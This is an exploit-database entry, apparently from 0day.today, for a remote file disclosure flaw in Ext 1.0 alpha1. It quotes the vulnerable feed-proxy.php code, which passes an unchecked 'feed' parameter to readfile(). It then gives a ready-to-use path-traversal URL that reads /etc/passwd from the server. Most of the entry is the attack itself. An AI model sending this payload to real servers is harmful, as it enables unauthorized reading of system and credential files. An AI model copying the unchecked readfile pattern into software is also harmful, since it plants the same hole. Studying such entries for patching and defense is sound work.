[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Ext 1.0 (feed-proxy.php feed) Remote File Disclosure Vulnerability

Author
Alkomandoz Hacker
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1797
Category
web applications
Date add
24-04-2007
Platform
unsorted
==================================================================
Ext 1.0 (feed-proxy.php feed) Remote File Disclosure Vulnerability
==================================================================



#  ext 1.0 alpha1 (feed-proxy.php) Remote File Disclosure
# D.Script: http://yui-ext.com/deploy/ext-1.0-alpha1.zip
# Discovered by: Alkomandoz Hacker
# V.Code In /examples/layout/feed-proxy.php

----------------------------------------------------------

header('Content-Type: text/xml');
       readfile($feed);
       return;
}
?>

----------------------------------------------------------

# Exploit:[Path_ext]/examples/layout/feed-proxy.php?feed=http../../../../../../etc/passwd



#  0day.today [2024-10-06]  #